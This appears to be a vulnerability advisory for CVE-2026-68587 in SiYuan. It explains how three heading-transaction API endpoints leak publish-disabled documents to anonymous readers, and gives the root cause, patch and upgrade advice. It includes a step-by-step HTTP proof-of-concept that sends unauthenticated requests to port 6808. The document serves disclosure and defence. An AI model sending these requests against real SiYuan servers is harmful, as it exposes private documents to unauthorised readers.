high · 8.6CVE-2026-68587Sep 3, 2026

CVE-2026-68587: SiYuan getHeading*Transaction Publish-Disabled Document Disclosure

Rohit Hatagale
AI Security Researcher, SecureLayer7

Three SiYuan API endpoints meant for heading operations return the full rendered HTML of a document to anonymous readers, even when an administrator has explicitly disabled public access to that…

Packagegithub.com/siyuan-note/siyuan/kernel
Ecosystemgo
Affected< 0.0.0-20260721013353-69db783b782a
Fixed in0.0.0-20260721013353-69db783b782a
CVE-2026-68587: SiYuan getHeading*Transaction Publish-Disabled Document Disclosure

The problem

SiYuan's publish mode lets administrators mark documents as publish-disabled. The primary content endpoint (/api/filetree/getDoc) correctly enforces that boundary.

Three transaction-computation endpoints, /api/block/getHeadingDeleteTransaction, /api/block/getHeadingLevelTransaction, and /api/block/getHeadingInsertTransaction, do not. They are gated by CheckAuth only, which admits the anonymous RoleReader token that the publish proxy attaches to every port-6808 request when Publish.Auth.Enable is false.

Despite their write-implying names, these endpoints only compute and return a transaction object; the returned object embeds RenderNodeBlockDOM output, meaning the full rendered HTML of the heading and its entire subtree leaks to any anonymous caller who knows a heading block ID.

Proof of concept

A working proof-of-concept for CVE-2026-68587 in github.com/siyuan-note/siyuan/kernel, with the exact payload below.

http
# Step 1: admin marks the document publish-disabled
POST http://127.0.0.1:6806/api/filetree/setPublishAccess
Authorization: Token <admin-token>
Content-Type: application/json

{"id":"<DOC_ID>","visible":false,"password":"","disable":true}

# Step 2: baseline - getDoc correctly blocks the anonymous reader (port 6808, no auth header)
POST http://127.0.0.1:6808/api/filetree/getDoc
Content-Type: application/json

{"id":"<DOC_ID>"}
# -> returns blocked/placeholder, no content

# Step 3: exploit - getHeadingDeleteTransaction leaks the full rendered DOM (anonymous, port 6808)
POST http://127.0.0.1:6808/api/block/getHeadingDeleteTransaction
Content-Type: application/json

{"id":"<HEADING_BLOCK_ID>"}
# -> HTTP 200; data.undoOperations[].data contains the rendered HTML of the heading subtree
# Nothing is deleted; the endpoint only computes the undo transaction.

# Step 4: sibling endpoints produce the same disclosure
POST http://127.0.0.1:6808/api/block/getHeadingLevelTransaction
Content-Type: application/json
{"id":"<HEADING_BLOCK_ID>","level":2}

POST http://127.0.0.1:6808/api/block/getHeadingInsertTransaction
Content-Type: application/json
{"id":"<HEADING_BLOCK_ID>"}

The root cause is CWE-862 (Missing Authorization). The three handlers load the heading block tree and call RenderNodeBlockDOM, embedding the result in the returned transaction's operation data. None of them calls IsReadOnlyRoleContext or the FilterContentByPublishAccess check that getDoc applies before returning content.

The patch (69db783b782a, released in v3.7.3) adds the same publish-access gate to all three handlers, consistent with how getBlockDOM and getBlockKramdown are already protected behind CheckAdminRole. The fix closes the mismatch where mutation-named endpoints were doing read work without read-access controls.

The fix

Upgrade SiYuan to v3.7.3 or later. The patch adds CheckAdminRole gating (or the equivalent IsReadOnlyRoleContext / FilterContentByPublishAccess check) to GetHeadingDeleteTransaction, GetHeadingLevelTransaction, and GetHeadingInsertTransaction, consistent with getBlockDOM and getBlockKramdown.

No workaround short of disabling publish mode or enabling publish auth (Publish.Auth.Enable=true) fully mitigates this on earlier versions.

Reported by 88250.

References: [1][2][3][4][5]

Related research